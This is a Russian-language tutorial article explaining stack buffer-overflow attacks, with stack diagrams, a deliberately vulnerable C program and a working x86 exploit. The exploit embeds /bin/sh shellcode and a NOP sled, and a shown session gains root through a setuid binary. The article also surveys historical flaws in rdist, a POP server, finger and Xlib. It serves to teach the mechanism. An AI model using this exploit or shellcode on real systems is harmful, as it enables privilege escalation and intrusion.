Атака на перепонение стека (Buffer Overflow)
Предотвращение различного рода атак, которым подвергаются современные компьютерные системы - настолько объемная тема, что часто, стремясь охватить ее полностью, многие публикации получаются излишне обобщенными, без конкретных рекомендаций по выявлению, проверке и обезвреживанию хакерских атак. Предлагаемая статья имеет целью заполнить этот пробел и посвящена детальному обсуждению часто очень малопонятных атак из класса "buffer-overflow" и методам защиты от них. Речь пойдет об одной из технологий, которая сегодня используется все чаще и требует для борьбы с ней понимания работы системы и навыков программирования, лишний раз показывая, что культура программирования - вопрос не только стиля, но и безопасности. Статья ориентирована на администраторов и программистов, предпочитающих не только знать ответ на вопрос "как?", но и на вопрос "почему?".
Если вы когда-нибудь программировали на Cи или Паскале, то сталкивалась с ошибками типа "Memory fault - core dumped" или "General Protection Fault". Как правило, эти происходит, если программа попыталась получить доступ к не принадлежащей ей области памяти. Это довольно часто случается, если программист забыл, например, проверить размеры строки, заносимой в буфер, и остаток строки "въехал" в какие-то другие данные или даже в код. В защищенном режиме программа-монитор или ядро операционной системы может контролировать попытки доступа к "чужой памяти" и завершать нарушившую правила программу. Одни операционные системы делают эту лучше - UNIX, другие оболочки - хуже (Windows), а такие, как MS DOS, вообще не умеют ничего подобного и лишь банально зависают.
Часто такие ошибки проявляются не сразу. Предположим, программист считает, что 1024 байта, которые он выделил под временный буфер будет вполне достаточно во всех случаев. Хорошо, если это так. Но, как показывает опыт, это допущение представляет собой потенциально слабое место в программе, которое обязательно даст о себе знать. Хорошо, если программа работает в однопользовательской ОС - как максимум, сбой приведет к зависанию компьютера; но в многопользовательской, и, тем более, сетевой ОС, последствия могут быть более серьезными - маленькое "допущение" способно разрушить всю систему безопасности сети, которую администратор так старательно возводил.
Самое плохое, что эти "допущения" молчат о себе достаточно долгое время, никак не проявляясь, а часто обнаруживают себя, лишь попавшись на глаза хакеру. Преувеличение? Нет. Известный вирус Морриса, поразивший в свое время тысячи компьютеров, использовал, в частности, этот алгоритм для проникновения в защищенные системы. А простое наблюдение за событиями, происходящими сегодня в области безопасности дает все основания считать, что идет целая волна "buffer-overflow exploits" - общее название для программ, которые для прорыва в систему и/или для получения привилегий суперпользователя используют неточности в контроле размеров строк и буферов.
Суть проблемы:
Для того, чтобы понять механизм работы, мы будем использовать простую программу под названием "rabbit.c":
#include <STDIO.H> #include <STRING.H> void process(char *str) { char buffer[256]; strcpy(buffer, str); printf("Длина строки = %d\n", strlen(buffer)); return; } void main(int argc, char *argv[]) { if (argc == 2) process(argv[1]); else printf("Usage: %s some_string\n", argv[0]); }Подобные фрагменты программ, в которых функция принимает строку как один из нескольких аргументов, имеет локальный буфер ограниченного размера, использует вызовы типа strcpy() или sprintf(), можно встретить в большом количестве программ.
Разберемся в деталях, как в большинстве случаев происходит вызов функции process(). Итак, стек (будем считать, что он растет вверх) перед вызовом функции выглядит следующим образом:
|. . . | (область младших адресов) | | |------| <== Указатель верхушки стека |XXXXXX| |XXXXXX| Использованная часть стека |XXXXXX| |. . . | (область старших адресов)Параметры функции передаются через стек - туда заносятся указатели на параметры или сами параметры (в нашем случае это один указатель на строку), а вызванная функция извлекает их оттуда. Естественно, всем этим занимается код, сгенерированный компилятором - программист не принимает участия в этом процессе. После того, как параметры занесены в стек, а процессор встречает инструкцию вызова функции он заносит в стек некоторую информацию о текущем состоянии - как правило, это смещение следующей после команды вызова. Таким образом, функция, завершив свою работу, будет знать адрес возврата управления. В результате, во время выполнения первой строки функции стек имеет следующий вид:
|. . . | (область младших адресов) | | |------| <== Указатель на верхушку стека |RETADR| <== Адрес возврата |PARAMS| <== Параметры функции |XXXXXX| |XXXXXX| Использованная часть стека |XXXXXX| |. . . | (область старших адресов)Что происходит дальше? Функции надо запомнить указатель на текущую верхушку стека (BP), который будет использоваться в ссылке на параметры. Поэтому выполняются следующие две инструкции (в качестве примера рассмотрим семейство x86):
push bp mov bp,spТеперь в верхушке стека лежит предыдущее значение регистра BP, а сам он указывает на верхушку стека и может быть использован в качестве базового регистра при ссылке на параметры.
В программе был объявлен размер буфера в 256 байт. Поскольку не использовались функции malloc() или new для выделения требуемого объема памяти, и не указывался модификатор "static", этот буфер будет зарезервирован в стеке. После всех этих операций стек имеет следующий вид:
|. . . | (область младших адресов) | | |------| <== Верхушка стека |??????| <== Начало зарезервированного буфера |??????| . . . |??????| <== Конец буфера |OLD BP| <== Старое значение регистра BP |RETADR| <== Адрес возврата |PARAMS| <== Параметры |XXXXXX| |XXXXXX| Некая уже занятая часть стека |XXXXXX| |. . . | (область старших адресов)После всего этого программа работает прекрасно, пока дело не доходит до вызова функции "strcpy()". Если длина строки меньше или равна длине буфера, то все пройдет хорошо, функция отработает, освободит зарезервированное пространство, восстановит регистр BP, и, наконец, вернет управление программе, которая очистит стек от переданных параметров.
Что же произойдет, если длина строки будет больше размера буфера? Поскольку strcpy() копирует все символы, пока не встретит код конца строки - "0", часть строки затрет верхнюю часть стека и, естественно, может испортить поле RETADR. Впрочем, это станет заметно не сразу - все будет работать великолепно, пока дело не дойдет до вызова return(). Управление будет передано по адресу, который хранится в поле RETADR, но поскольку адрес испорчен, выполнение программы продолжится в некой точке адресного пространства, отличающейся от точки вызова. Вот в этом-то месте и произойдет исключительная ситуация и программа будет аварийно прервана, поскольку маловероятно, чтобы адрес возврата указывал на какой-то осмысленной код, причем находящийся в области памяти данной программы.
Однако, это оказывается возможным, если кто-то специально хотел вызвать подобную ситуацию. Ведь что мешает в качестве аргумента функции передать строку специально подобранной длины, так, что бы она содержала некоторый машинный код, причем при затирании верхушки стека в поле REDADR попадал адрес именно этого кода? После отработки функции return() управление получит новый фрагмент, что совсем не предусматривалось автором программы. Ну а этот фрагмент уже сможет выполнить произвольную операцию, обращаясь к сервису операционной системы.
Как же будет выглядеть стек после вызова strcpy()?
|. . . | (область младших адресов) | | |------| <== Верхушка стека +->|!!!!!!| | |!!!!!!| <== Машинный код хакера | |!!!!!!| | |OLD BP| <== Старое значение регистра BP (испорченное, но это уже неважно) +--|RETADR| <== Адрес возврата (исправленный) |PARAMS| <== Параметры |XXXXXX| |XXXXXX| Некая уже занятая часть стека |XXXXXX| |. . . | (область старших адресов)Как создается такой машинный код? Во-первых, стоит выяснить примерный адрес верхушки стека на данной машине при вызове функций, чтобы корректно сформировать адрес возврата, который попадет в поле RETADR. Как правило это делается программой exploit с помощью вызова пустой функции, возвращающей в качестве параметра значение верхушки стека. Во-вторых, фрагмент должен быть написан таким образом, чтобы не содержать символа 0, который будет расценен, как конец строки - этим символом код будет заканчиваться. Конечно, он попадет при копировании в область параметров, но хакера это, как и испорченный регистр BP, не волнует - главное, управление будет передано на чужеродный фрагмент. В-третьих, точно должны быть рассчитаны размеры буфера, чтобы все попало в нужные места и не вызвало обычного core dump, должны быть учитаны размеры других переменных, стоящих между буфером и RETADR. И, наконец, в-четвертых - хакер должен уметь вызывать функции операционной системы.
Хотя задача кажется довольно нетривиальной, в ней нет ничего сложного для программиста, знающего систему. Например, подобный код для Linux, BSD-family, а также ОС Solaris, вызывающий /bin/sh и легко подстраиваемый под конкретные размеры буфера, довольно широко гуляет по Internet и может быть использован для обнаружения хакером новой дырки в программах. А это обнаружение требует лишь терпения, ибо в Internet доступны исходные тексты огромного количества программ и утилит - даже коммерческого Solaris.
Пример программы-exploit'а
Программа exploit.c (х86), демонстрирующая, как можно воспользоваться неточностью, допущенной в тестовом примере rabbit.c.
#includeПример компиляции и выполнения:#include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 #define SKIP_VARS 4 /* Получить указатель на стек */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } void main() { char *buff = NULL; char *ptr = NULL; int i; /* Данный фрагмент выполняет вызов /bin/sh */ char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07" "\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b" "\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8" "\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02" "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* Выделяем память */ buff = malloc(BUFFER_SIZE+16); if(!buff) { perror("Can't allocate memory"); exit(0); } ptr = buff; /* Заполняем начало строки кодами команды NOP ("нет операции") */ for (i=0; i < BUFFER_SIZE-strlen(execshell); i++) *(ptr++) = 0x90; /* Теперь копируем в строку машинный код */ for (i=0; i < strlen(execshell); i++) *(ptr++) = execshell[i]; /* Пропускаем все, что лежит между буфером и адресом возврата */ for (i=0; i < SKIP_VARS; i++) *(ptr++) = 0x90; /* Записываем адрес возврата */ *(long *)ptr = get_esp() + DEFAULT_OFFSET; ptr += 4; /* Завершающий 0 */ *ptr = 0; /* Вызов программы с сформированной строкой в качестве аргумента */ printf("%s\n", buff); execl("./rabbit", "rabbit", buff, NULL); } # id uid=0(root) gid=0(wheel) # gcc -o rabbit rabbit.c # chmod u+s rabbit # ls -l rabbit -- Итак, rabbit - root-setuid -rwsr-xr-x 1 root wheel 12288 Jan 1 00:01 rabbit # su user $ id uid=200 (user), group = 200 (users) -- Я - обычный пользователь $ ./rabbit test -- Программа работает нормально... Длина строки = 4 $ gcc -o exploit exploit.c -- Подготавливаемся... $ ./exploit -- Запускаем exploit, а тот Длина строки = 264 -- запускает rabbit # id uid=200(root) gid=200(users) euid=0(root) -- Оп-ля, я суперпользователь!
Реальность опасности
Можно возразить, что существуют гораздо более простые способы проникновения в систему, чем упомянутый. Не совсем так. Более простые способы часто не работают, поскольку широко известны; в данном же случае имеет место гораздо более малоизвестная ситуация. Кроме этого, существует слишком большое количество программ с описанными ошибками, которые мгновенно превращаются в лазейки для хакера. Ведь данная проблема не относится к типу "дырок" в sendmail, которые закрываются раз и навсегда, а представляет собой уже некую технологию, которая может использоваться достаточно часто.
Главная же проблема заключается в глобальности - ведь программа не обращается к системным ресурсам. К стеку обращается программа пользователя, причем не к системному стеку, а к своему, что вполне естественно. Кроме того, нужно еще поискать ОС, которая проверяет, затирает ли записываемая в стек строка его верхушку. Это дело либо программиста и/или компилятора. На уровне ОС это невозможно детектировать, так как нарушения защиты не происходит - программа не выходит за пределы стека или сегмента.
Таким образом, метод работает везде, где
- есть стек
- имеется возможность вызвать систему через некий system call
- адрес возврата из процедуры кладется в стек
- локальные переменные размещаются в стеке
- возможно выполнение кода, находящегося в стеке
- существуют программы, выполняемые в режиме суперпользователя, доступные обычному пользователю и/или демоны, содержащие ошибки.
Как известно, этим требованиям удовлетворяют практически все операционные системы - именно поэтому проблема является столь глобальной.
Примеры уязвимостей.
В программе rdist из BSD в одном из вызовов отсутствовала проверка на размер параметра, передаваемой из командной строки. Существует программа, которая формирует требуемый код и вызывает /usr/bin/rdist, передавая код в качестве параметра. Поскольку rdist выполняется с привилегиями суперпользователя (setuid bit), переданный код также выполнялся с привилегиями root и в распоряжении хакера оказывался shell с правами root.
В одной из версий POP-сервера проверка длины строки присутствовала, но не была до конца корректной - не отлавливалось переполнение при вызове sprintf(). Что это означает? Была написана программа, которая соединялась с 110-м портом (pop3-сервис) и передавала ему сформированный код, после чего pop-сервер сообщал о неверной команде sprintf() и "вываливался" в shell после return(), причем с правами суперпользователя root. Причем в данном случае хакеру даже не требовалось иметь свой раздел на машине, чтобы прорваться на нее, да еще и с правами root.
Пресловутый вирус Морриса использовал аналогичную неточность в широко распространенной программе finger, и доказал свою работоспособность, разойдясь за несколько часов на огромное количество компьютеров в научных и военных сетях США.
Программы, написанные под X-Window, как правило, передают параметр "-display <DISPLAYNAME>" на обработку X-библиотеке. Плохо, что в XFree86 размеры displayname не проверяются, и уже доступен код для получения root-привилегий через /usr/X11R6/bin/xterm. Но еще хуже, что код Xlib используется практически во всех X-программах.
Совсем недавно в списке рассылки freebsd-security была опубликована информация о ошибке - отсутствие проверки размера буфера - в подсистеме печати, являющейся фактическим стандартом и использующейся во всех семействах BSD, SunOS, а также входящей в состав остальных операционных систем (для совместимости). Безусловно, рано или поздно эта ошибка будет исправлена, но сколько проблем могут возникнуть до этого момента?
Очень жаль, что в последнее время примеры exploit-кода стали широко доступны, и часто человеку (далеко не системному программисту), заметившему неточность в программе, достаточно подкорректировать лишь несколько переменных (типа BUFFER_SIZE, SKIP_VARS) для получения работающей программы-эксплоита.